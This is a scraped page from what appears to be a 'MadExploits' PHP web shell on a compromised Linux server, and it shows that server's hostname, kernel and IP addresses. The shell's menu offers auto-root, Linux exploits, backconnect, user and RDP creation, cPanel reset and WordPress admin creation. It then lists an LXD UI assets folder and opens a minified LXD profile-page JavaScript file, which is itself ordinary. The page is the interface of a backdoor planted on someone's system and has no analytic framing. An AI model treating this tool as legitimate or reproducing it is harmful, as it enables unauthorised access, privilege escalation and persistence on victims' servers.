Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.143.255.34
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
lxd /
33246 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
font
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-BXFyAEiG...
151
B
-rw-r--r--
BaseLayout-CiF2D8RH.js
280
B
-rw-r--r--
BulkDeleteButton-B-fvVwh0.js
1.08
KB
-rw-r--r--
CancelOperationBtn-BW2TAzI_.js
1.08
KB
-rw-r--r--
CertificateAdd-BGVwf-VB.js
2.84
KB
-rw-r--r--
CertificateGenerate-bNGS6BFl.j...
9.87
KB
-rw-r--r--
ClusterGroupForm-BiXmM-NU.js
3.25
KB
-rw-r--r--
ClusterList-CZFDB46f.js
5.17
KB
-rw-r--r--
ClusterMemberSelector-B2lzDpCI...
3.71
KB
-rw-r--r--
ClusterSpecificInput-BdiLVA9B....
1.97
KB
-rw-r--r--
ClusterSpecificSelect-DrKUzNev...
2.2
KB
-rw-r--r--
ConfigFieldDescription-BnRkdbo...
335
B
-rw-r--r--
CreateClusterGroup-C6s3qbZf.js
463
B
-rw-r--r--
CreateInstance-BXX4Xa4W.js
27.97
KB
-rw-r--r--
CreateInstanceFromImageBtn-BiE...
527
B
-rw-r--r--
CreateNetwork-BQw2A27w.js
2.88
KB
-rw-r--r--
CreateNetworkForward-BgZF8duA....
1.71
KB
-rw-r--r--
CreateProfile-CCJYKSCK.js
4.04
KB
-rw-r--r--
CreateProject-DTBqJzUb.js
2.83
KB
-rw-r--r--
CreateStoragePool-CuOutvs3.js
2.46
KB
-rw-r--r--
CreateStorageVolume-B0HvyGnH.j...
2.47
KB
-rw-r--r--
CustomIsoList-CQVv4whx.js
5.48
KB
-rw-r--r--
DeleteStoragePoolBtn-BeXLuEnA....
1.62
KB
-rw-r--r--
DeleteStorageVolumeBtn-DIIVYGa...
1.88
KB
-rw-r--r--
DiskSizeSelector-IT5APek6.js
1010
B
-rw-r--r--
EditClusterGroup-DiNIL0Lx.js
761
B
-rw-r--r--
EditNetworkForward-DtcWepYC.js
1.99
KB
-rw-r--r--
ExpandableList-EDeaeb6c.js
323
B
-rw-r--r--
FormEditButton-Cs2eW7Js.js
278
B
-rw-r--r--
FormFooterLayout-B3kcadYt.js
738
B
-rw-r--r--
FormLink-BaU-zsbe.js
879
B
-rw-r--r--
FormMenuItem-ChXfQsFA.js
2.23
MB
-rw-r--r--
FormMenuItem-DyX1CsEw.css
66.66
KB
-rw-r--r--
GroupOrIdentityChangesTable-DQ...
5.11
KB
-rw-r--r--
GroupSelectionActions-Dq47oQd-...
3.18
KB
-rw-r--r--
HelpLink-4LTOsqZO.js
294
B
-rw-r--r--
ImageList-yKBGTFZU.js
11.7
KB
-rw-r--r--
InstanceDetail-BV9hr65t.js
481.49
KB
-rw-r--r--
InstanceDetail-Beg8tuEN.css
3.88
KB
-rw-r--r--
InstanceLinkChip-DfVC8U01.js
4.24
KB
-rw-r--r--
InstanceList-CTEYE5e7.js
24.67
KB
-rw-r--r--
ItemName-DSOx0T0r.js
185
B
-rw-r--r--
Login-CsUYa7ns.js
1.41
KB
-rw-r--r--
Meter-BsdJ73XW.js
487
B
-rw-r--r--
NetworkDetail-RgSS_6Vw.js
12.8
KB
-rw-r--r--
NetworkForwardForm-C18aehvo.js
6.49
KB
-rw-r--r--
NetworkList-B4gWmGGm.js
6.32
KB
-rw-r--r--
NetworkListTable-Ba2LzF-J.js
3.31
KB
-rw-r--r--
NotificationRow-CotZPNAQ.js
157
B
-rw-r--r--
OperationList-D4--05cO.js
3.35
KB
-rw-r--r--
PageHeader-CExPjRLH.js
549
B
-rw-r--r--
PermissionGroups-CkGxgQmn.js
30.89
KB
-rw-r--r--
PermissionIdentities-DDmb7V-C....
12.93
KB
-rw-r--r--
PermissionIdpGroups-yggiVbcG.j...
13.38
KB
-rw-r--r--
ProfileDetail-CQHhNWwW.js
10.94
KB
-rw-r--r--
ProfileDetailsForm-C-rMcUGO.js
2.45
KB
-rw-r--r--
ProfileInstances-DeravO8Q.js
1.46
KB
-rw-r--r--
ProfileList-C7yC3g6E.js
7.11
KB
-rw-r--r--
ProgressBar-CQ2HKUqQ.js
170
B
-rw-r--r--
ProjectConfiguration-rKP8dZtz....
9.04
KB
-rw-r--r--
ProjectForm-GhClr0iv.js
15.12
KB
-rw-r--r--
ProtectedRoute-DYKGChU3.js
214
B
-rw-r--r--
ProxyDeviceForm-B5UDgi1V.js
38.9
KB
-rw-r--r--
RenameHeader-fmgiouA6.js
13.29
KB
-rw-r--r--
ResourceIcon-DZQOrBLA.js
532
B
-rw-r--r--
ResourceLabel-PzB_6v5p.js
317
B
-rw-r--r--
ResourceLink-CS7mH0C3.js
302
B
-rw-r--r--
ScrollableContainer-MJpEXCww.j...
646
B
-rw-r--r--
ScrollableTable-DWT33Lms.js
561
B
-rw-r--r--
SelectableMainTable-C8l8QdDe.j...
2.21
KB
-rw-r--r--
SelectedTableNotification-2DZb...
974
B
-rw-r--r--
Settings-BYi8qROs.js
9.75
KB
-rw-r--r--
SidePanel-DNeaRMst.js
2.84
KB
-rw-r--r--
SnapshotForm-DF9sGEzn.js
1.49
KB
-rw-r--r--
StoragePoolDetail-DT58PBIr.js
6.45
KB
-rw-r--r--
StoragePoolForm-Z62B6Fuh.js
17.07
KB
-rw-r--r--
StoragePoolSelectTable-CXuxJSN...
1.61
KB
-rw-r--r--
StoragePoolSelector-DEvMjaMu.j...
1.48
KB
-rw-r--r--
StoragePoolSize-DyBNKBKy.js
467
B
-rw-r--r--
StoragePools-DK0Gkjq9.js
3.99
KB
-rw-r--r--
StorageUsedBy-sdKGRlgM.js
2.12
KB
-rw-r--r--
StorageVolumeDetail-fQzbPWNW.j...
24.87
KB
-rw-r--r--
StorageVolumeForm-ZPfwK39D.js
8.42
KB
-rw-r--r--
StorageVolumes-DPotlIN6.js
7.26
KB
-rw-r--r--
StorageVolumesFilter-B7pR3OeF....
1.01
KB
-rw-r--r--
TabLinks-BIG_Rdvk.js
360
B
-rw-r--r--
UploadCustomIso-DG12FhN0.js
2.83
KB
-rw-r--r--
UsedByItem-VHA3kVFG.js
945
B
-rw-r--r--
VolumeAddSnapshotBtn-8Qz9xFE-....
4.87
KB
-rw-r--r--
WarningList-DZNTQSpg.js
1.99
KB
-rw-r--r--
YamlNotification-BnmI52ws.js
634
B
-rw-r--r--
YamlSwitch-BXLuxWUh.js
40.62
KB
-rw-r--r--
certificate-kcThcTS9.js
279.99
KB
-rw-r--r--
clusterGroups-BWQNdGSD.js
3.63
KB
-rw-r--r--
images-Du2fhDUO.js
1.22
KB
-rw-r--r--
index-BeIaaTgz.css
661.94
KB
-rw-r--r--
index-BkTFFYvy.js
690.52
KB
-rw-r--r--
index-DW_MHI2K.js
34.19
KB
-rw-r--r--
index.esm-auJ3G_FM.js
38.36
KB
-rw-r--r--
instanceDelete-Bn3xn_NE.js
12.2
KB
-rw-r--r--
instanceOptions-BuFjjn-P.js
1.19
KB
-rw-r--r--
network-forwards-B-h1Yzp9.js
856
B
-rw-r--r--
operations-DIvBacJG.js
757
B
-rw-r--r--
projects-CvA2zMPN.js
789
B
-rw-r--r--
scroll-DPmbgfny.js
26.97
KB
-rw-r--r--
searchAndFilter-DtC_P-vv.js
361
B
-rw-r--r--
snapshots-CEDJtMaf.js
670
B
-rw-r--r--
storage-volumes-tfXkh9eB.js
2.46
KB
-rw-r--r--
useGroups-CCX3qCzO.js
2.91
KB
-rw-r--r--
useImages-LgCYWVgs.js
1.64
KB
-rw-r--r--
useNetworks-D3nHf8AE.js
3.63
KB
-rw-r--r--
useSmallScreen-BvsjT919.js
169
B
-rw-r--r--
useSortTableData-BoXaK1oA.js
393
B
-rw-r--r--
useVolumes-BvpfNVaA.js
1.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProfileDetail-CQHhNWwW.js
import{aI as W,b as J,a4 as O,n as X,d as a,k as R,o as F,l as M,f as E,r as P,j as e,B as k,c as z,T as Z,q as V,e as N,I as c,E as ee,F as se,H as _,aJ as ie,y as Y,aK as te,M as ae,aL as oe,w as ne,P as re,aM as le,C as ce,L as de}from"./index-BkTFFYvy.js";import{c as B,a as U}from"./index.esm-auJ3G_FM.js";import{y as me,P as ue,c as fe,d as he}from"./YamlSwitch-BXLuxWUh.js";import{c as je,b as xe,m as pe,s as ge,a as ye,d as Pe,f as Ne,l as C,R as be,S as ve,I as Ce,M as De,B as Se,C as Re,Y as Fe,i as Ee}from"./FormMenuItem-ChXfQsFA.js";import{p as Ie,Y as D,P as Le,M as S,a as we,D as Oe,N as $e,G as Te,O as Me,R as ke,S as ze,b as Ve,c as _e,B as Ye,C as H}from"./ProfileDetailsForm-C-rMcUGO.js";import{D as Be,N as Ue,G as He,P as qe,O as Ke}from"./ProxyDeviceForm-B5UDgi1V.js";import{g as $,F as Ae}from"./FormFooterLayout-B3kcadYt.js";import{Y as Ge}from"./YamlNotification-BnmI52ws.js";import{F as Qe,R as We}from"./RenameHeader-fmgiouA6.js";import{R as q}from"./ResourceLink-CS7mH0C3.js";import{P as Je}from"./ProfileInstances-DeravO8Q.js";import{I as K}from"./ItemName-DSOx0T0r.js";import{N as Xe,D as Ze}from"./NetworkListTable-Ba2LzF-J.js";import{u as es}from"./useSmallScreen-BvsjT919.js";import{R as ss}from"./ResourceLabel-PzB_6v5p.js";import{N as is}from"./NotificationRow-CotZPNAQ.js";import{T as ts}from"./TabLinks-BIG_Rdvk.js";import"./instanceOptions-BuFjjn-P.js";import"./ConfigFieldDescription-BnRkdboG.js";import"./AutoExpandingTextArea-BXFyAEiG.js";import"./ScrollableTable-DWT33Lms.js";import"./snapshots-CEDJtMaf.js";import"./StoragePoolSelector-DEvMjaMu.js";import"./StoragePoolSize-DyBNKBKy.js";import"./Meter-BsdJ73XW.js";import"./DiskSizeSelector-IT5APek6.js";import"./projects-CvA2zMPN.js";import"./useVolumes-BvpfNVaA.js";import"./images-Du2fhDUO.js";import"./storage-volumes-tfXkh9eB.js";import"./index-DW_MHI2K.js";import"./StorageVolumeForm-ZPfwK39D.js";import"./FormLink-BaU-zsbe.js";import"./useNetworks-D3nHf8AE.js";import"./ScrollableContainer-MJpEXCww.js";import"./ResourceIcon-DZQOrBLA.js";const T=(s,i)=>{const r=W(),o=new Set(["name","description","devices","config"]);return{...Ie(i),devices:Ne(i.devices),config:{...Pe(i),...ye(i),...ge(i),...pe(i),...xe(i),...je(i),...$(s.config,r)},...$(s,o)}},I=()=>{const{isFineGrained:s}=J();return{canDeleteProfile:o=>O(s,"can_delete",o==null?void 0:o.access_entitlements),canEditProfile:o=>O(s,"can_edit",o==null?void 0:o.access_entitlements)}},as=({profile:s,featuresProfiles:i})=>{var w;const r=X(),o=a.useNotify(),j=R(),{project:l,section:t}=F(),x=M(),u=E(),[f,d]=P.useState(0),{canEditProfile:g}=I();if(!l)return e.jsx(e.Fragment,{children:"Missing project"});const m=()=>{_("form-contents","p-bottom-controls")};P.useEffect(m,[(w=o.notification)==null?void 0:w.message,t]),k("resize",m);const y=B().shape({name:U().required("Name is required")}),b=g(s)?void 0:"You do not have permission to edit this profile",n=z({initialValues:C(s,b),validationSchema:y,enableReinitialize:!0,onSubmit:h=>{const p=h.yaml?me(h.yaml):T(s,h);p.etag=s.etag,Z(p,l).then(()=>{j.success(e.jsxs(e.Fragment,{children:["Profile"," ",e.jsx(q,{type:"profile",value:s.name,to:`/ui/project/${l}/profile/${s.name}`})," ","updated."]})),n.setValues(C(p))}).catch(v=>{o.failure("Profile update failed",v)}).finally(()=>{n.setSubmitting(!1),x.invalidateQueries({queryKey:[V.profiles]})})}}),L=h=>{const p=`/ui/project/${l}/profile/${s.name}/configuration`;u(h===S?p:`${p}/${c(h)}`)},A=()=>{const h=new Set(["used_by","etag"]),p=T(s,n.values),v=Object.fromEntries(Object.entries(p).filter(Q=>!h.has(Q[0])));return he(v)},G=n.values.readOnly;return e.jsxs("div",{className:"edit-profile",children:[!i&&e.jsxs(a.Notification,{severity:"caution",title:"Inherited profile",children:["Modifications are only available in the"," ",e.jsx(N,{to:`/ui/project/default/profile/${s.name}/configuration`,children:"default project"}),"."]}),e.jsxs(a.Form,{onSubmit:n.handleSubmit,className:"form",children:[t!==c(D)&&e.jsx(Le,{active:t??c(S),setActive:L,isDisabled:!1,formik:n}),e.jsx(a.Row,{className:"form-contents",children:e.jsxs(a.Col,{size:12,children:[(t===c(S)||!t)&&e.jsx(we,{formik:n,isEdit:!0}),t===c(Oe)&&e.jsx(Be,{formik:n,project:l}),t===c($e)&&e.jsx(Ue,{formik:n,project:l}),t===c(Te)&&e.jsx(He,{formik:n,project:l}),t===c(ue)&&e.jsx(qe,{formik:n,project:l}),t===c(Me)&&e.jsx(Ke,{formik:n,project:l}),t===c(ke)&&e.jsx(be,{formik:n}),t===c(ze)&&e.jsx(ve,{formik:n}),t===c(Ve)&&e.jsx(Ce,{formik:n}),t===c(_e)&&e.jsx(De,{formik:n}),t===c(Ye)&&e.jsx(Se,{formik:n}),t===c(H)&&e.jsx(Re,{formik:n},`yaml-form-${f}`),t===c(D)&&e.jsx(Fe,{yaml:A(),setYaml:h=>{Ee(n),n.setFieldValue("yaml",h)},readOnly:!!n.values.editRestriction,readOnlyMessage:n.values.editRestriction,children:e.jsx(Ge,{entity:"profile",href:`${r}/profiles`})},`yaml-form-${f}`)]})},t)]}),e.jsxs(Ae,{children:[e.jsx(fe,{formik:n,section:t,setSection:L}),G?null:e.jsxs(e.Fragment,{children:[e.jsx(a.Button,{appearance:"base",onClick:()=>{d(h=>h+1),n.setValues(C(s))},children:"Cancel"}),e.jsx(Qe,{formik:n,isYaml:t===c(D),disabled:ee(n)||se(n)})]})]})]})},os=({profile:s,featuresProfiles:i})=>{const r=a.useNotify(),{project:o}=F();if(!o)return e.jsx(e.Fragment,{children:"Missing project"});const j=(f,d)=>{r.failure(f,d)},l=()=>{_("profile-overview-tab")};P.useEffect(l,[]),k("resize",l);const t=s.config["cloud-init.user-data"]||s.config["cloud-init.vendor-data"]||s.config["cloud-init.network-config"],u=ie(o,o==="default",s.used_by).length;return e.jsxs("div",{className:"profile-overview-tab",children:[!i&&e.jsxs(a.Notification,{severity:"caution",title:"Inherited profile",children:["Modifications are only available in the"," ",e.jsx(N,{to:`/ui/project/default/profile/${s.name}`,children:"default project"}),"."]}),e.jsxs(a.Row,{className:"section",children:[e.jsx(a.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"General"})}),e.jsx(a.Col,{size:7,children:e.jsx("table",{children:e.jsxs("tbody",{children:[e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Name"}),e.jsx("td",{children:e.jsx(K,{item:s})})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Description"}),e.jsx("td",{children:s.description?s.description:"-"})]})]})})})]}),e.jsxs(a.Row,{className:"networks",children:[e.jsx(a.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Networks"})}),e.jsx(a.Col,{size:7,children:e.jsx(Xe,{devices:s.devices,onFailure:j})})]}),e.jsxs(a.Row,{className:"devices",children:[e.jsx(a.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Devices"})}),e.jsx(a.Col,{size:7,children:e.jsx(Ze,{configBaseURL:`/ui/project/${o}/profile/${s.name}/configuration`,devices:s.devices})})]}),e.jsxs(a.Row,{className:"section",children:[e.jsx(a.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Limits"})}),e.jsx(a.Col,{size:7,children:e.jsx("table",{children:e.jsxs("tbody",{children:[e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"CPU"}),e.jsx("td",{children:s.config["limits.cpu"]||"-"})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Memory"}),e.jsx("td",{children:s.config["limits.memory"]||"-"})]})]})})})]}),e.jsxs(a.Row,{className:Y("section",{"u-hide":!t}),children:[e.jsx(a.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Cloud init"})}),e.jsx(a.Col,{size:7,className:"view-config",children:e.jsx(N,{to:`/ui/project/${o}/profile/${s.name}/configuration/${c(H)}`,children:"View configuration"})})]}),e.jsxs(a.Row,{className:"usage list-wrapper",children:[e.jsx(a.Col,{size:3,children:e.jsxs("h2",{className:"p-heading--5",children:["Usage (",u,")"]})}),e.jsx(a.Col,{size:7,children:u>0?e.jsx("table",{children:e.jsx("tbody",{children:e.jsx(Je,{profile:s,project:o,headingClassName:"u-text--muted"})})}):e.jsx(e.Fragment,{children:"-"})})]})]})},ns=({profile:s,project:i,featuresProfiles:r})=>{const o=es(),j=a.useNotify(),l=R(),t=M(),[x,u]=P.useState(!1),f=E(),{canDeleteProfile:d}=I(),g=()=>{u(!0),te(s.name,i).then(()=>{t.invalidateQueries({queryKey:[V.projects,i]}),f(`/ui/project/${i}/profiles`),l.success(e.jsxs(e.Fragment,{children:["Profile ",e.jsx(ss,{bold:!0,type:"profile",value:s.name})," ","deleted."]}))}).catch(b=>{u(!1),j.failure("Profile deletion failed",b)})},m=s.name==="default",y=()=>d(s)?r?m?"The default profile cannot be deleted":"Delete profile":"Modifications are only available in the default project":"You do not have permission to delete this profile";return e.jsxs(a.ConfirmationButton,{onHoverText:y(),className:Y("u-no-margin--bottom",{"has-icon":!o}),disabled:!d(s)||m||!r,loading:x,confirmationModalProps:{title:"Confirm delete",confirmButtonLabel:"Delete",onConfirm:g,children:e.jsxs("p",{children:["This will permanently delete profile"," ",e.jsx(K,{item:s,bold:!0}),".",e.jsx("br",{}),"This action cannot be undone, and can result in data loss."]})},shiftClickEnabled:!0,showShiftClickHint:!0,children:[!o&&e.jsx(a.Icon,{name:"delete"}),e.jsx("span",{children:"Delete"})]})},rs=({name:s,profile:i,project:r,featuresProfiles:o})=>{const j=E(),l=a.useNotify(),t=R(),x=P.useState(null),{canEditProfile:u}=I(),f=B().shape({name:U().test("deduplicate","A profile with this name already exists",async m=>(i==null?void 0:i.name)===m||ae(m,r,x,"profiles")).required("Profile name is required")}),d=z({initialValues:{name:s,isRenaming:!1},validationSchema:f,onSubmit:m=>{if(s===m.name){d.setFieldValue("isRenaming",!1),d.setSubmitting(!1);return}oe(s,m.name,r).then(()=>{j(`/ui/project/${r}/profile/${m.name}`),t.success(e.jsxs(e.Fragment,{children:["Profile ",e.jsx("strong",{children:s})," renamed to"," ",e.jsx(q,{type:"profile",value:m.name,to:`/ui/project/${r}/profile/${m.name}`}),"."]})),d.setFieldValue("isRenaming",!1)}).catch(y=>{l.failure("Renaming failed",y)}).finally(()=>{d.setSubmitting(!1)})}}),g=()=>{if(!u(i))return"You do not have permission to rename this profile";if(i&&i.name==="default")return"Cannot rename the default profile"};return e.jsx(We,{name:s,parentItems:[e.jsx(N,{to:`/ui/project/${r}/profiles`,children:"Profiles"},1)],renameDisabledReason:g(),controls:i&&e.jsx(ns,{profile:i,project:r,featuresProfiles:o},"delete"),isLoaded:!!i,formik:d})},ls=["Overview","Configuration"],qs=()=>{const s=a.useNotify(),{name:i,project:r,activeTab:o}=F();if(!i)return e.jsx(e.Fragment,{children:"Missing name"});if(!r)return e.jsx(e.Fragment,{children:"Missing project"});const{project:j,isLoading:l}=ne(),{data:t,error:x,isLoading:u}=re(i,r);x&&s.failure("Loading profile failed",x);const f=u||l,d=le(j);return e.jsxs(ce,{header:e.jsx(rs,{name:i,profile:t,project:r,featuresProfiles:d}),contentClassName:"detail-page",children:[e.jsx(is,{}),f&&e.jsx(de,{text:"Loading profile details..."}),!f&&!t&&e.jsx(e.Fragment,{children:"Loading profile failed"}),!f&&t&&e.jsxs(a.Row,{children:[e.jsx(ts,{tabs:ls,activeTab:o,tabUrl:`/ui/project/${r}/profile/${i}`}),!o&&e.jsx("div",{role:"tabpanel","aria-labelledby":"overview",children:e.jsx(os,{profile:t,featuresProfiles:d})}),o==="configuration"&&e.jsx("div",{role:"tabpanel","aria-labelledby":"configuration",children:e.jsx(as,{profile:t,featuresProfiles:d})})]})]})};export{qs as default};
Close